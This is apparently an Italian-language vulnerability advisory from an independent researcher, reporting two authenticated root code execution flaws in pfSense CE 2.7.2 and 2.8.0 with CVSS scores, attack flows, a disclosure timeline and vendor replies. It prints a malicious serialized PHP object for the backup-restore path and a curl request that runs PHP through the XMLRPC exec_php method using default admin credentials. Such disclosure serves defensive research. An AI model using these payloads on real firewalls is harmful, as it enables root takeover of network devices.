
RCE autenticata in Netgate pfSense CE 2.7.2 e 2.8.0
| Campo | Dettagli |
|---|
| Ricercatore | Nelson Adhepeau (@privlabs) |
| Fornitore | Netgate |
| Prodotto | pfSense Community Edition |
| Versioni | 2.7.2 e 2.8.0 |
| Tipo | Esecuzione di codice da remoto autenticata |
| Divulgazione | Febbraio 2026 |
| Fornitore informato | 2 dicembre 2025 |
| CVE assegnato | 28 gennaio 2026 |
Questa ricerca è stata condotta in ambienti di laboratorio isolati esclusivamente a scopo didattico e di sensibilizzazione sulla sicurezza. Tutte le scoperte sono state divulgate in modo responsabile al fornitore prima della pubblicazione. Questa segnalazione non costituisce un invito ad attaccare sistemi in produzione. I test non autorizzati sono illegali.
| Campo | Valore |
|---|---|
| CVSS v3.1 | 8.8 (Alto) |
| Vettore | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-502, CWE-915 |
| Tipo di attacco | Autenticato (Admin) |
| Componente | Meccanismo di backup/ripristino |
Il meccanismo di ripristino della configurazione di pfSense invoca unserialize() su
dati controllati dall'utente senza whitelist delle classi, validazione dell'input o
sandboxing.
Un file di backup appositamente creato contenente un oggetto PHP serializzato malevolo inietta
comandi arbitrari tramite la proprietà post_reboot_commands, che vengono
eseguiti tramite mwexec() con pieni privilegi di root.
[Attacker] → Login as admin
→ Upload malicious .xml backup file
→ Trigger restore
→ pfSense calls unserialize() on attacker data
→ post_reboot_commands executed via mwexec()
→ [ROOT SHELL]
config.php — logica di elaborazione del ripristinopfsense_module_installer — bersaglio della deserializzazione non sicuramwexec() — sink di esecuzione dei comandiO:23:"pfsense_module_installer":1:{
s:17:"*post_reboot_commands";
a:1:{
i:0;s:40:"/usr/local/bin/php -r 'system(\"id\");'";
}
}
"Riconosciuto. Classificato come abuso amministrativo autenticato. Nessuna patch verrà rilasciata." — Netgate
| Campo | Valore |
|---|---|
| CVSS v3.1 | 9.9 (Critico) |
| Vettore | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-284, CWE-915 |
| Tipo di attacco | Autenticato (remoto, Basic Auth) |
| Componente | XMLRPC API — pfsense.exec_php |
pfSense CE 2.8.0 espone un metodo XMLRPC pfsense.exec_php che
esegue codice PHP arbitrario come root senza validazione, sandboxing
o qualsiasi forma di restrizione.
L'endpoint è:
admin:pfsense)[Attacker] → Send XMLRPC request to /xmlrpc.php
→ Authenticate with admin:pfsense (default)
→ Call pfsense.exec_php with arbitrary PHP
→ Code executes as root, no sandboxing
→ [ROOT SHELL]
xmlrpc.php — punto di ingresso dell'APIpfsense.exec_php — esecuzione dinamica non sicura di codicecurl -k -u admin:pfsense \
-H "Content-Type: text/xml" \
-d '<methodCall>
<methodName>pfsense.exec_php</methodName>
<params>
<param>
<value><string>system("id");</string></value>
</param>
</params>
</methodCall>' \
https://<target>/xmlrpc.php
"Riconosciuto. Classificato come comportamento atteso per gli utenti autenticati. Nessuna patch pianificata." — Netgate
November 2025 → Vulnerabilities discovered
December 2, 2025 → Responsible disclosure to Netgate
→ Vendor acknowledged, no patch planned
January 28, 2026 → CVE IDs assigned by MITRE
February 2026 → Public disclosure
[email protected]Nelson Adhepeau — Ricercatore di sicurezza indipendente